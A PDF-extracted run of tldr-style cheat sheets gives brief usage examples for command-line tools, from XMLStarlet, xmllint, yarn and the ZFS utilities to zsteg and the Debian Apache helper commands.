Convert a PYX (ESIS - ISO 8879) document to XML format.

More information: http://xmlstar.sourceforge.net/docs.php.

• Convert a PYX (ESIS - ISO 8879) document to XML format:

xml depyx {{path/to/input.pyx|URI}} > {{path/to/output.xml}}

• Convert a PYX document from stdin to XML format:

cat {{path/to/input.pyx}} | xml depyx > {{path/to/


output.xml}}

• Display help for the depyx subcommand:

xml depyx --help


xml edit
Edit an XML document.

More information: http://xmlstar.sourceforge.net/docs.php.

• Delete elements matching an XPATH from an XML document:

xml edit --delete "{{XPATH1}}" {{path/to/input.xml|URI}}

• Move an element node of an XML document from XPATH1 to XPATH2:

xml edit --move "{{XPATH1}}" "{{XPATH2}}" {{path/to/


input.xml|URI}}

• Rename all attributes named "id" to "ID":

xml edit --rename "{{//*/@id}}" -v "{{ID}}" {{path/to/


input.xml|URI}}

• Rename sub-elements of the element "table" that are named "rec" to "record":

xml edit --rename "{{/xml/table/rec}}" -v "{{record}}"


{{path/to/input.xml|URI}}

• Update the XML table record with "id=3" to the value "id=5":

xml edit --update "{{xml/table/rec[@id=3]/@id}}" -v {{5}}


{{path/to/input.xml|URI}}

• Display help for the edit subcommand:

xml edit --help


xml elements
Extract elements and display the structure of an XML document.

More information: http://xmlstar.sourceforge.net/docs.php.

• Extract elements from an XML document (producing XPATH expressions):

xml elements {{path/to/input.xml|URI}} > {{path/to/


elements.xpath}}

• Extract elements and their attributes from an XML document:

xml elements -a {{path/to/input.xml|URI}} > {{path/to/


elements.xpath}}

• Extract elements and their attributes and values from an XML document:

xml elements -v {{path/to/input.xml|URI}} > {{path/to/


elements.xpath}}

• Print sorted unique elements from an XML document to see its structure:

xml elements -u {{path/to/input.xml|URI}}

• Print sorted unique elements from an XML document up to a depth of 3:

xml elements -d{{3}} {{path/to/input.xml|URI}}

• Display help for the elements subcommand:

xml elements --help


xml escape
Escape special XML characters, e.g. <a1> → &lt;a1&gt;.

More information: http://xmlstar.sourceforge.net/doc/xmlstarlet.pdf.

• Escape special XML characters in a string:

xml escape "{{<a1>}}"

• Escape special XML characters from stdin:

echo "{{<a1>}}" | xml escape

• Display help for the escape subcommand:

xml escape --help


xml format
Format an XML document.

More information: http://xmlstar.sourceforge.net/docs.php.

• Format an XML document, indenting with tabs:

xml format --indent-tab {{path/to/input.xml|URI}} > {{path/


to/output.xml}}

• Format an HTML document, indenting with 4 spaces:

xml format --html --indent-spaces {{4}} {{path/to/input.html|


URI}} > {{path/to/output.html}}

• Recover parsable parts of a malformed XML document, without indenting:

xml format --recover --noindent {{path/to/malformed.xml|URI}}


> {{path/to/recovered.xml}}

• Format an XML document from stdin, removing the DOCTYPE declaration:

cat {{path\to\input.xml}} | xml format --dropdtd > {{path/to/


output.xml}}

• Format an XML document, omitting the XML declaration:

xml format --omit-decl {{path\to\input.xml|URI}} > {{path/to/


output.xml}}

• Display help for the format subcommand:

xml format --help


xml list
List a directory's contents (like ls) in XML format.

More information: http://xmlstar.sourceforge.net/docs.php.

• Write the current directory's listing to an XML document:

xml list > {{path/to/dir_list.xml}}

• Write the specified directory's listing to an XML document:

xml list {{path/to/directory}} > {{path/to/dir_list.xml}}

• Display help for the list subcommand:

xml list --help


xml pyx
Convert an XML document to PYX (ESIS - ISO 8879) format.

More information: http://xmlstar.sourceforge.net/docs.php.

• Convert an XML document to PYX format:

xml pyx {{path/to/input.xml|URI}} > {{path/to/output.pyx}}

• Convert an XML document from stdin to PYX format:

cat {{path/to/input.xml}} | xml pyx > {{path/to/output.pyx}}

• Display help for the pyx subcommand:

xml pyx --help


xml select
Select from XML documents using XPATHs.

Tip: use xml elements to display the XPATHs of an XML document.

More information: http://xmlstar.sourceforge.net/docs.php.

• Select all elements matching "XPATH1" and print the value of their sub-element
"XPATH2":

xml select --template --match "{{XPATH1}}" --value-of


"{{XPATH2}}" {{path/to/input.xml|URI}}

• Match "XPATH1" and print the value of "XPATH2" as text with new-lines:

xml select --text --template --match "{{XPATH1}}" --value-of


"{{XPATH2}}" --nl {{path/to/input.xml|URI}}

• Count the elements of "XPATH1":

xml select --template --value-of "count({{XPATH1}})" {{path/


to/input.xml|URI}}

• Count all nodes in one or more XML documents:

xml select --text --template --inp-name --output " " --value-


of "count(node())" --nl {{path/to/input1.xml|URI}} {{path/to/
input2.xml|URI}}

• Display help for the select subcommand:

xml select --help


xml transform
Transform XML documents using XSLT.

More information: http://xmlstar.sourceforge.net/docs.php.

• Transform an XML document using an XSL stylesheet, passing one XPATH


parameter and one literal string parameter:

xml transform {{path/to/stylesheet.xsl}} -p "{{Count='count(/


xml/table/rec)'}}" -s {{Text="Count="}} {{path/to/input.xml|
URI}}

• Display help for the transform subcommand:

xml transform --help


xml unescape
Unescape special XML characters, e.g. &lt;a1&gt; → <a1>.

More information: http://xmlstar.sourceforge.net/docs.php.

• Unescape special XML characters from a string:

xml unescape "{{&lt;a1&gt;}}"

• Unescape special XML characters from stdin:

echo "{{&lt;a1&gt;}}" | xml unescape

• Display help for the unescape subcommand:

xml escape --help


xml validate
Validate XML documents.

More information: http://xmlstar.sourceforge.net/docs.php.

• Validate one or more XML documents for well-formedness only:

xml validate {{path/to/input1.xml|URI}} {{input2.xml ...}}

• Validate one or more XML documents against a Document Type Definition (DTD):

xml validate --dtd {{path/to/schema.dtd}} {{path/to/


input1.xml|URI}} {{input2.xml ...}}

• Validate one or more XML documents against an XML Schema Definition (XSD):

xml validate --xsd {{path/to/schema.xsd}} {{path/to/


input1.xml|URI}} {{input2.xml ...}}

• Validate one or more XML documents against a Relax NG schema (RNG):

xml validate --relaxng {{path/to/schema.rng}} {{path/to/


input1.xml|URI}} {{input2.xml ...}}

• Display help for the validate subcommand:

xml validate --help


xml
XMLStarlet Toolkit: Query, edit, check, convert and transform XML documents.

This command also has documentation about its subcommands, e.g. xml validate.

More information: http://xmlstar.sourceforge.net/docs.php.

• Display general help, including the list of subcommands:

xml --help

• Execute a subcommand with input from a file or URI, printing to stdout:

xml {{subcommand}} {{options}} {{path/to/input.xml|URI}}

• Execute a subcommand using stdin and stdout:

xml {{subcommand}} {{options}}

• Execute a subcommand with input from a file or URI and output to a file:

xml {{subcommand}} {{options}} {{path/to/input.xml|URI}} >


{{path/to/output}}

• Display help for a subcommand:

xml {{subcommand}} --help

• Display the version of the XMLStarlet Toolkit:

xml --version
xmllint
XML parser and linter that supports XPath, a syntax for navigating XML trees.

More information: https://manned.org/xmllint.

• Return all nodes (tags) named "foo":

xmllint --xpath "//{{foo}}" {{source_file.xml}}

• Return the contents of the first node named "foo" as a string:

xmllint --xpath "string(//{{foo}})" {{source_file.xml}}

• Return the href attribute of the second anchor element in an HTML file:

xmllint --html --xpath "string(//a[2]/@href)" webpage.xhtml

• Return human-readable (indented) XML from file:

xmllint --format {{source_file.xml}}

• Check that an XML file meets the requirements of its DOCTYPE declaration:

xmllint --valid {{source_file.xml}}

• Validate XML against DTD schema hosted online:

xmllint --dtdvalid {{URL}} {{source_file.xml}}


xmlto
Apply an XSL stylesheet to an XML document.

More information: https://pagure.io/xmlto.

• Convert a DocBook XML document to PDF format:

xmlto {{pdf}} {{document.xml}}

• Convert a DocBook XML document to HTML format and store the resulting files in
a separate directory:

xmlto -o {{path/to/html_files}} {{html}} {{document.xml}}

• Convert a DocBook XML document to a single HTML file:

xmlto {{html-nochunks}} {{document.xml}}

• Specify a stylesheet to use while converting a DocBook XML document:

xmlto -x {{stylesheet.xsl}} {{output_format}}


{{document.xml}}
xo
A pluggable, zero-configuration linting utility for JavaScript.

More information: https://github.com/xojs/xo.

• Lint files in the "src" directory:

xo

• Lint a given set of files:

xo {{file1}}.js {{file2}}.js

• Automatically fix any lint issues found:

xo --fix

• Lint using spaces as indentation instead of tabs:

xo --space

• Lint using the "prettier" code style:

xo --prettier
xonsh
Python-powered, cross-platform, Unix-gazing shell.

Write and mix sh/Python code in Xonsh (pronounced conch).

More information: https://xon.sh.

• Start an interactive shell session:

xonsh

• Execute a single command and then exit:

xonsh -c "{{command}}"

• Run commands from a script file and then exit:

xonsh {{path/to/script_file.xonsh}}

• Define environment variables for the shell process:

xonsh -D{{name1}}={{value1}} -D{{name2}}={{value2}}

• Load the specified .xonsh or .json configuration files:

xonsh --rc {{path/to/file1.xonsh}} {{path/to/file2.json}}

• Skip loading the .xonshrc configuration file:

xonsh --no-rc
xpdf
Portable Document Format (PDF) file viewer.

More information: https://www.xpdfreader.com/xpdf-man.html.

• Open a PDF file:

xpdf {{path/to/file.pdf}}

• Open a specific page in a PDF file:

xpdf {{path/to/file.pdf}} :{{page_number}}

• Open a compressed PDF file:

xpdf {{path/to/file.pdf.tar}}

• Open a PDF file in fullscreen mode:

xpdf -fullscreen {{path/to/file.pdf}}

• Specify the initial zoom:

xpdf -z {{75}}% {{path/to/file.pdf}}

• Specify the initial zoom at page width or full page:

xpdf -z {{page|width}} {{path/to/file.pdf}}


xplr
Terminal-based file system explorer.

More information: https://xplr.dev.

• Open a directory:

xplr {{path/to/directory}}

• Focus on a file:

xplr {{path/to/file}}

• Focus on a directory:

xplr --force-focus {{path/to/directory}}

• Open a directory with specific files or directories selected:

xplr {{path/to/directory}} {{path/to/


selected_file_or_directory1}} {{path/to/
selected_file_or_directory2}}
xprop
A tool for displaying window and font properties in an X server.

More information: https://manned.org/xprop.

• Display the name of the root window:

xprop -root WM_NAME

• Display the window manager hints for a window:

xprop -name "{{window_name}}" WM_HINTS

• Display the point size of a font:

xprop -font "{{font_name}}" POINT_SIZE

• Display all the properties of the window with the id 0x200007:

xprop -id {{0x200007}}


xsv
A CSV command-line toolkit written in Rust.

More information: https://github.com/BurntSushi/xsv.

• Inspect the headers of a file:

xsv headers {{path/to/file.csv}}

• Count the number of entries:

xsv count {{path/to/file.csv}}

• Get an overview of the shape of entries:

xsv stats {{path/to/file.csv}} | xsv table

• Select a few columns:

xsv select {{column_a,column_b}} {{path/to/file.csv}}

• Show 10 random entries:

xsv sample {{10}} {{path/to/file.csv}}

• Join a column from one file to another:

xsv join --no-case {{column_a}} {{path/to/file/a.csv}}


{{column_b}} {{path/to/file/b.csv}} | xsv table
xxd
Create a hexadecimal representation (hexdump) from a binary file, or vice-versa.

More information: https://manned.org/xxd.

• Generate a hexdump from a binary file and display the output:

xxd {{input_file}}

• Generate a hexdump from a binary file and save it as a text file:

xxd {{input_file}} {{output_file}}

• Display a more compact output, replacing consecutive zeros (if any) with a star:

xxd -a {{input_file}}

• Display the output with 10 columns of one octet (byte) each:

xxd -c {{10}} {{input_file}}

• Display output only up to a length of 32 bytes:

xxd -l {{32}} {{input_file}}

• Display the output in plain mode, without any gaps between the columns:

xxd -p {{input_file}}

• Revert a plaintext hexdump back into binary, and save it as a binary file:

xxd -r -p {{input_file}} {{output_file}}


xxh
Bring your shell with all of your customizations through SSH sessions.

Note: xxh does not install anything into system directories on the target machine;
removing ~/.xxh will clear all traces of xxh on the target machine.

More information: https://github.com/xxh/xxh.

• Connect to a host and run the current shell:

xxh "{{host}}"

• Install the current shell into the target machine without prompting:

xxh "{{host}}" ++install

• Run the specified shell on the target machine:

xxh "{{host}}" ++shell {{xonsh|zsh|fish|bash|osquery}}

• Use a specific xxh configuration directory on the target machine:

xxh "{{host}}" ++host-xxh-home {{~/.xxh}}

• Use the specified configuration file on the host machine:

xxh "{{host}}" ++xxh-config {{~/.config/xxh/config.xxhc}}

• Specify a password to use for the SSH connection:

xxh "{{host}}" ++password "{{password}}"

• Install an xxh package on the target machine:

xxh "{{host}}" ++install-xxh-packages {{package}}

• Set an environment variable for the shell process on the target machine:

xxh "{{host}}" ++env {{name}}={{value}}


xz
Compress or decompress .xz and .lzma files.

More information: https://tukaani.org/xz/format.html.

• Compress a file to the xz file format:

xz {{file}}

• Decompress a xz file:

xz -d {{file.xz}}

• Compress a file to the LZMA file format:

xz --format={{lzma}} {{file}}

• Decompress an LZMA file:

xz -d --format={{lzma}} {{file.lzma}}

• Decompress a file and write to stdout:

xz -dc {{file.xz}}

• Compress a file, but don't delete the original:

xz -k {{file}}

• Compress a file using the fastest compression:

xz -0 {{file}}

• Compress a file using the best compression:

xz -9 {{file}}
yacas
Yet Another Computer Algebra System.

More information: http://www.yacas.org.

• Start an interactive yacas session:

yacas

• While in a yacas session, execute a statement:

{{Integrate(x)Cos(x)}};

• While in a yacas session, display an example:

{{Example()}};

• Quit from a yacas session:

{{quit}}

• Execute one or more yacas scripts (without terminal or prompts), then exit:

yacas -p -c {{path/to/script1}} {{path/to/script2}}

• Execute and print the result of one statement, then exit:

echo "{{Echo( Deriv(x)Cos(1/x) );}}" | yacas -p -c /dev/stdin


yank
Read input from stdin and display a selection interface that allows a field to be selected
and copied to the clipboard.

More information: https://manned.org/yank.

• Yank using the default delimiters (\f, \n, \r, \s, \t):

{{sudo dmesg}} | yank

• Yank an entire line:

{{sudo dmesg}} | yank -l

• Yank using a specific delimiter:

{{echo hello=world}} | yank -d {{=}}

• Only yank fields matching a specific pattern:

{{ps ux}} | yank -g "{{[0-9]+}}"


yapf
Python style guide checker.

More information: https://github.com/google/yapf.

• Display a diff of the changes that would be made, without making them (dry-run):

yapf --diff {{path/to/file}}

• Format the file in-place and display a diff of the changes:

yapf --diff --in-place {{path/to/file}}

• Recursively format all Python files in a directory, concurrently:

yapf --recursive --in-place --style {{pep8}} --parallel


{{path/to/directory}}
yarn-why
Identifies why a Yarn package has been installed.

More information: https://www.npmjs.com/package/yarn-why.

• Show why a Yarn package is installed:

yarn-why {{package_name}}
yarn
JavaScript and Node.js package manager alternative.

More information: https://yarnpkg.com.

• Install a module globally:

yarn global add {{module_name}}

• Install all dependencies referenced in the package.json file (the install is


optional):

yarn install

• Install a module and save it as a dependency to the package.json file (add --


dev to save as a dev dependency):

yarn add {{module_name}}@{{version}}

• Uninstall a module and remove it from the package.json file:

yarn remove {{module_name}}

• Interactively create a package.json file:

yarn init

• Identify whether a module is a dependency and list other modules that depend
upon it:

yarn why {{module_name}}


ybacklight
Manage screen backlight brightness. See also xbacklight.

More information: https://github.com/pixelcmtd/ybacklight.

• Print current brightness and maximal brightness, shortened and separated by a


slash:

ybacklight Sc/Sm

• Set the brightness to 420:

ybacklight s{{420}}

• Increase the brightness by 42 big steps (4200 by default):

ybacklight Si{{42}}

• Decrease the brightness by 300:

ybacklight d{{300}}
yes
Output something repeatedly.

This command is commonly used to answer yes to every prompt by install commands
(such as apt-get).

More information: https://www.gnu.org/software/coreutils/yes.

• Repeatedly output "message":

yes {{message}}

• Repeatedly output "y":

yes

• Accept everything prompted by the apt-get command:

yes | sudo apt-get install {{program}}


yesod
Helper tool for Yesod, a Haskell-based web framework.

All Yesod commands are invoked through the stack project manager.

More information: https://github.com/yesodweb/yesod.

• Create a new scaffolded site, with SQLite as backend, in the my-project


directory:

stack new {{my-project}} {{yesod-sqlite}}

• Install the Yesod CLI tool within a Yesod scaffolded site:

stack build yesod-bin cabal-install --install-ghc

• Start development server:

stack exec -- yesod devel

• Touch files with altered Template Haskell dependencies:

stack exec -- yesod touch

• Deploy application using Keter (Yesod's deployment manager):

stack exec -- yesod keter


ykinfo
Get basic information from a YubiKey.

More information: https://developers.yubico.com/yubikey-personalization/Manuals/


ykinfo.1.html.

• Display all information from YubiKey:

ykinfo -a

• Get only serial in decimal from YubiKey:

ykinfo -s -q

• Get capabilities from YubiKey:

ykinfo -c
ykman
The YubiKey Manager can be used to configure all aspects of the YubiKey.

More information: https://docs.yubico.com/software/yubikey/tools/ykman/index.html.

• Get information from YubiKey:

ykman info

• Get information for a given application from YubiKey:

ykman {{fido|oath|openpgp|otp|piv}} info

• Get a list of enabled applications over NFC from YubiKey:

ykman config nfc --list

• Enable application over USB on YubiKey:

ykman config usb --enable {{OTP|U2F|FIDO2|OATH|PIV|OPENPGP|


HSMAUTH}}
youtube-dl
Download videos from YouTube and other websites.

More information: http://rg3.github.io/youtube-dl/.

• Download a video or playlist:

youtube-dl '{{https://www.youtube.com/watch?v=oHg5SJYRHA0}}'

• List all formats that a video or playlist is available in:

youtube-dl --list-formats '{{https://www.youtube.com/watch?


v=Mwa0_nE9H7A}}'

• Download a video or playlist at a specific quality:

youtube-dl --format "{{best[height<=480]}}" '{{https://


www.youtube.com/watch?v=oHg5SJYRHA0}}'

• Download the audio from a video and convert it to an MP3:

youtube-dl -x --audio-format {{mp3}} '{{url}}'

• Download the best quality audio and video and merge them:

youtube-dl -f bestvideo+bestaudio '{{url}}'

• Download video(s) as MP4 files with custom filenames:

youtube-dl --format {{mp4}} -o "{{%(playlist_index)s-%


(title)s by %(uploader)s on %(upload_date)s in %(playlist)s.
%(ext)s}}" '{{url}}'

• Download a particular language's subtitles along with the video:

youtube-dl --sub-lang {{en}} --write-sub '{{https://


www.youtube.com/watch?v=Mwa0_nE9H7A}}'

• Download a playlist and extract MP3s from it:

youtube-dl -f "bestaudio" --continue --no-overwrites --


ignore-errors --extract-audio --audio-format mp3 -o "%
(title)s.%(ext)s" {{url_to_playlist}}
youtube-viewer
Command-line application for searching and playing videos from YouTube.

More information: https://github.com/trizen/youtube-viewer.

• Search for a video:

youtube-viewer {{search_term}}

• Log in to your YouTube account:

youtube-viewer --login

• Watch a video with a specific URL in VLC:

youtube-viewer --player={{vlc}} {{https://youtube.com/watch?


v=dQw4w9WgXcQ}}

• Display a search prompt and play the selected video in 720p:

youtube-viewer -{{7}}
yq
A lightweight and portable command-line YAML processor.

More information: https://mikefarah.gitbook.io/yq/.

• Output a YAML file, in pretty-print format (v4+):

yq eval {{path/to/file.yaml}}

• Output a YAML file, in pretty-print format (v3):

yq read {{path/to/file.yaml}} --colors

• Output the first element in a YAML file that contains only an array (v4+):

yq eval '.[0]' {{path/to/file.yaml}}

• Output the first element in a YAML file that contains only an array (v3):

yq read {{path/to/file.yaml}} '[0]'

• Set (or overwrite) a key to a value in a file (v4+):

yq eval '.{{key}} = "{{value}}"' --inplace {{path/to/


file.yaml}}

• Set (or overwrite) a key to a value in a file (v3):

yq write --inplace {{path/to/file.yaml}} '{{key}}'


'{{value}}'

• Merge two files and print to stdout (v4+):

yq eval-all 'select(filename == "{{path/to/file1.yaml}}") *


select(filename == "{{path/to/file2.yaml}}")' {{path/to/
file1.yaml}} {{path/to/file2.yaml}}

• Merge two files and print to stdout (v3):

yq merge {{path/to/file1.yaml}} {{path/to/file2.yaml}} --


colors
z
Tracks the most used (by frecency) directories and enables quickly navigating to them
using string patterns or regular expressions.

More information: https://github.com/rupa/z.

• Go to a directory that contains "foo" in the name:

z {{foo}}

• Go to a directory that contains "foo" and then "bar":

z {{foo}} {{bar}}

• Go to the highest-ranked directory matching "foo":

z -r {{foo}}

• Go to the most recently accessed directory matching "foo":

z -t {{foo}}

• List all directories in z's database matching "foo":

z -l {{foo}}

• Remove the current directory from z's database:

z -x .

• Restrict matches to subdirectories of the current directory:

z -c {{foo}}
zbarimg
Scan and decode bar codes from image file(s).

More information: http://zbar.sourceforge.net.

• Process an image file:

zbarimg {{image_file}}
zcat
Print data from gzip compressed files.

More information: https://www.gnu.org/software/gzip/manual/gzip.html.

• Print the uncompressed contents of a gzipped file to the standard output:

zcat {{file.txt.gz}}

• Print compression details of a gzipped file to the standard output:

zcat -l {{file.txt.gz}}
zdb
ZFS debugger.

More information: https://manned.org/zdb.

• Show detailed configuration of all mounted ZFS zpools:

zdb

• Show detailed configuration for a specific ZFS pool:

zdb -C {{poolname}}

• Show statistics about number, size and deduplication of blocks:

zdb -b {{poolname}}
zeek
Passive network traffic analyser.

Any output and log files will be saved to the current working directory.

More information: https://docs.zeek.org/en/lts/quickstart.html#zeek-as-a-command-


line-utility.

• Analyze live traffic from a network interface:

sudo zeek --iface {{interface}}

• Analyze live traffic from a network interface and load custom scripts:

sudo zeek --iface {{interface}} {{script1}} {{script2}}

• Analyze live traffic from a network interface, without loading any scripts:

sudo zeek --bare-mode --iface {{interface}}

• Analyze live traffic from a network interface, applying a tcpdump filter:

sudo zeek --filter {{path/to/filter}} --iface {{interface}}

• Analyze live traffic from a network interface using a watchdog timer:

sudo zeek --watchdog --iface {{interface}}

• Analyze traffic from a pcap file:

zeek --readfile {{path/to/file.trace}}


zellij
Terminal multiplexer with batteries included.

See also tmux and screen.

More information: https://zellij.dev/documentation/.

• Start a new named session:

zellij --session {{name}}

• List existing sessions:

zellij list-sessions

• Attach to the most recently used session:

zellij attach

• Open a new pane (inside a zellij session):

Alt + N

• Detach from the current session (inside a zellij session):

Ctrl + N, D
zfs
Manage ZFS filesystems.

More information: https://manned.org/zfs.

• List all available zfs filesystems:

zfs list

• Create a new ZFS filesystem:

zfs create {{pool_name/filesystem_name}}

• Delete a ZFS filesystem:

zfs destroy {{pool_name/filesystem_name}}

• Create a Snapshot of a ZFS filesystem:

zfs snapshot {{pool_name/filesystem_name}}@{{snapshot_name}}

• Enable compression on a filesystem:

zfs set compression=on {{pool_name/filesystem_name}}

• Change mountpoint for a filesystem:

zfs set mountpoint={{/my/mount/path}} {{pool_name/


filesystem_name}}
zig
The Zig compiler and toolchain.

More information: https://ziglang.org.

• Compile the project in the current directory:

zig build

• Compile and run the project in the current directory:

zig build run

• Initialize a zig build application:

zig init-exe

• Intitialize a zig build library:

zig init-lib

• Create and run a test build:

zig test {{path/to/file.zig}}

• Reformat Zig source into canonical form:

zig fmt {{path/to/file.zig}}

• Use Zig as a drop-in C compiler:

zig cc {{path/to/file.c}}

• Use Zig as a drop-in C++ compiler:

zig c++ {{path/to/file.cpp}}


zip
Package and compress (archive) files into zip file.

More information: https://manned.org/zip.

• Package and compress files and directories [r]ecursively:

zip -r {{compressed.zip}} {{path/to/file}} {{path/to/


directory1}} {{path/to/directory2}}

• E[x]clude unwanted files from being added to the compressed archive:

zip -r {{compressed.zip}} {{path/to/directory}} -x {{path/to/


exclude}}

• Archive a directory and its contents with the highest level [9] of compression:

zip -r -{{9}} {{compressed.zip}} {{path/to/directory}}

• Create an encrypted archive (user will be prompted for a password):

zip -e -r {{compressed.zip}} {{path/to/directory}}

• Add files to an existing zip file:

zip {{compressed.zip}} {{path/to/file}}

• Delete files from an existing zip file:

zip -d {{compressed.zip}} "{{foo/*.tmp}}"

• Archive a directory and its contents to a multi-part [s]plit zip file (e.g. 3 GB parts):

zip -r -s {{3g}} {{compressed.zip}} {{path/to/directory}}

• List files within a specified archive (without extracting them):

zip -sf {{compressed.zip}}


zipalign
Zip archive alignment tool.

Part of the Android SDK build tools.

More information: https://developer.android.com/studio/command-line/zipalign.

• Align the data of a ZIP file on 4-byte boundaries:

zipalign {{4}} {{path/to/input.zip}} {{path/to/output.zip}}

• Check that a ZIP file is correctly aligned on 4-byte boundaries and display the
results in a verbose manner:

zipalign -v -c {{4}} {{path/to/input.zip}}


zipgrep
Find patterns in files in a ZIP archive using extended regular expression (supports ?, +,
{}, () and |).

More information: https://manned.org/zipgrep.

• Search for a pattern within a ZIP archive:

zipgrep "{{search_pattern}}" {{path/to/file.zip}}

• Print file name and line number for each match:

zipgrep -H -n "{{search_pattern}}" {{path/to/file.zip}}

• Search for lines that do not match a pattern:

zipgrep -v "{{search_pattern}}" {{path/to/file.zip}}

• Specify files inside a ZIP archive from search:

zipgrep "{{search_pattern}}" {{path/to/file.zip}} {{file/to/


search1}} {{file/to/search2}}

• Exclude files inside a ZIP archive from search:

zipgrep "{{search_pattern}}" {{path/to/file.zip}} -x {{file/


to/exclude1}} {{file/to/exclude2}}
zipinfo
List detailed information about the contents of a .zip file.

More information: https://manned.org/zipinfo.

• List all files in a .zip file in long format (permissions, ownership, size, and
modification date):

zipinfo {{path/to/archive.zip}}

• List all files in a .zip file:

zipinfo -1 {{path/to/archive.zip}}
zless
View compressed files.

More information: https://manned.org/zless.

• Page through a compressed archive with less:

zless {{file.txt.gz}}
zm
A tool for managing articles of newspapers and blogs.

More information: https://github.com/ZERMZeitung/zm2.

• Make a new draft:

zm new

• Edit a draft:

zm edit

• Publish a draft and commit it with git:

zm publish
zmore
View gzip compressed files with more.

More information: https://manned.org/zmore.

• Open a compressed file:

zmore {{path/to/file.txt.gz}}

• Display the next page of the file:

<Space>

• Search for a pattern in the file (press n to go to next match):

/{{regular_expression}}

• Exit:

• Display interactive command help:

h
zmv
Move or rename files matching a specified extended glob pattern.

See also zcp and zln.

More information: http://zsh.sourceforge.net/Doc/Release/User-Contributions.html.

• Move files using a regular expression-like pattern:

zmv '{{(*).log}}' '{{$1.txt}}'

• Preview the result of a move, without making any actual changes:

zmv -n '{{(*).log}}' '{{$1.txt}}'

• Interactively move files, with a prompt before every change:

zmv -i '{{(*).log}}' '{{$1.txt}}'

• Verbosely print each action as it's being executed:

zmv -v '{{(*).log}}' '{{$1.txt}}'


zola
A static site generator in a single binary with everything built-in.

More information: https://www.getzola.org/documentation/getting-started/cli-usage/.

• Create the directory structure used by Zola at the given directory:

zola init {{my_site}}

• Build the whole site in the public directory after deleting it:

zola build

• Build the whole site into a different directory:

zola build --output-dir {{path/to/output_directory/}}

• Build and serve the site using a local server (default is 127.0.0.1:1111):

zola serve

• Build all pages just like the build command would, but without writing any of the
results to disk:

zola check
zopflipng
PNG compression utility.

More information: https://github.com/google/zopfli.

• Optimize a PNG:

zopflipng {{input.png}} {{output.png}}

• Optimize several PNGs and save with given prefix:

zopflipng --prefix={{prefix}} {{image1.png}} {{image2.png}}


{{image3.png}}
zoxide
Keep track of the most frequently used directories.

Uses a ranking algorithm to navigate to the best match.

More information: https://github.com/ajeetdsouza/zoxide.

• Go to the highest-ranked directory that contains "foo" in the name:

zoxide query {{foo}}

• Go to the highest-ranked directory that contains "foo" and then "bar":

zoxide query {{foo}} {{bar}}

• Start an interactive directory search (requires fzf):

zoxide query --interactive

• Add a directory or increment its rank:

zoxide add {{path/to/directory}}

• Remove a directory from zoxide's database:

zoxide remove {{path/to/directory}}

• Generate shell configuration for command aliases (z, za, zi, zq, zr):

zoxide init {{bash|fish|zsh}}


zpool
Manage ZFS pools.

More information: https://manned.org/zpool.

• Show the configuration and status of all ZFS zpools:

zpool status

• Check a ZFS pool for errors (verifies the checksum of EVERY block). Very CPU and
disk intensive:

zpool scrub {{pool_name}}

• List zpools available for import:

zpool import

• Import a zpool:

zpool import {{pool_name}}

• Export a zpool (unmount all filesystems):

zpool export {{pool_name}}

• Show the history of all pool operations:

zpool history {{pool_name}}

• Create a mirrored pool:

zpool create {{pool_name}} mirror {{disk1}} {{disk2}} mirror


{{disk3}} {{disk4}}

• Add a cache (L2ARC) device to a zpool:

zpool add {{pool_name}} cache {{cache_disk}}


zsh
Z SHell, a Bash-compatible command-line interpreter.

See also histexpand for history expansion.

More information: https://www.zsh.org.

• Start an interactive shell session:

zsh

• Execute a command and then exit:

zsh -c "{{command}}"

• Execute a script:

zsh {{path/to/script.zsh}}

• Execute a script, printing each command before executing it:

zsh --xtrace {{path/to/script.zsh}}

• Start an interactive shell session in verbose mode, printing each command before
executing it:

zsh --verbose
zstd
Compress or decompress files with Zstandard compression.

More information: https://github.com/facebook/zstd.

• Compress a file into a new file with the .zst suffix:

zstd {{file}}

• Decompress a file:

zstd -d {{file}}.zst

• Decompress to stdout:

zstd -dc {{file}}.zst

• Compress a file specifying the compression level, where 1=fastest, 19=slowest and
3=default:

zstd -{{level}} {{file}}

• Unlock higher compression levels (up to 22) using more memory (both for
compression and decompression):

zstd --ultra -{{level}} {{file}}


zsteg
Steganography detection tool for PNG and BMP file formats.

It detects LSB steganography, ZLIB-compressed data, OpenStego, Camouflage and LSB


with the Eratosthenes set.

More information: https://github.com/zed-0xff/zsteg.

• Detect embedded data in a PNG:

zsteg {{path/to/image.png}}

• Detect embedded data in a BMP image, using all known methods:

zsteg --all {{path/to/image.bmp}}

• Detect embedded data in a PNG, iterating pixels vertically and using MSB first:

zsteg --msb --order yx {{path/to/image.png}}

• Detect embedded data in a BMP image, specifying the bits to consider:

zsteg --bits {{1,2,3|1-3}} {{path/to/image.bmp}}

• Detect embedded data in a PNG, extracting only prime pixels and inverting bits:

zsteg --prime --invert {{path/to/image.png}}

• Detect embedded data in a BMP image, specifying the minimum length of the
strings to be found and the find mode:

zsteg --min-str-len {{10}} --strings {{first|all|longest|


none}} {{path/to/image.bmp}}
Linux
a2disconf
Disable an Apache configuration file on Debian-based OSes.

More information: https://manpages.debian.org/latest/apache2/a2disconf.8.en.html.

• Disable a configuration file:

sudo a2disconf {{configuration_file}}

• Don't show informative messages:

sudo a2disconf --quiet {{configuration_file}}


a2dismod
Disable an Apache module on Debian-based OSes.

More information: https://manpages.debian.org/latest/apache2/a2dismod.8.en.html.

• Disable a module:

sudo a2dismod {{module}}

• Don't show informative messages:

sudo a2dismod --quiet {{module}}


a2dissite
Disable an Apache virtual host on Debian-based OSes.

More information: https://manpages.debian.org/latest/apache2/a2dissite.8.en.html.

• Disable a virtual host:

sudo a2dissite {{virtual_host}}

• Don't show informative messages:

sudo a2dissite --quiet {{virtual_host}}


a2enconf
Enable an Apache configuration file on Debian-based OSes.

More information: https://manpages.debian.org/latest/apache2/a2enconf.8.en.html.

• Enable a configuration file:

sudo a2enconf {{configuration_file}}

• Don't show informative messages:

sudo a2enconf --quiet {{configuration_file}}


a2enmod
Enable an Apache module on Debian-based OSes.

More information: https://manpages.debian.org/latest/apache2/a2enmod.8.en.html.

• Enable a module:

sudo a2enmod {{module}}

• Don't show informative messages:

sudo a2enmod --quiet {{module}}


a2ensite
Enable an Apache virtual host on Debian-based OSes.

More information: https://manpages.debian.org/latest/apache2/a2ensite.8.en.html.

• Enable a virtual host:

sudo a2ensite {{virtual_host}}

• Don't show informative messages:

sudo a2ensite --quiet {{virtual_host}}


a2query
Retrieve runtime configuration from Apache on Debian-based OSes.

More information: https://manpages.debian.org/latest/apache2/a2query.html.

• List enabled Apache modules:

sudo a2query -m

• Check if a specific module is installed:

sudo a2query -m {{module_name}}

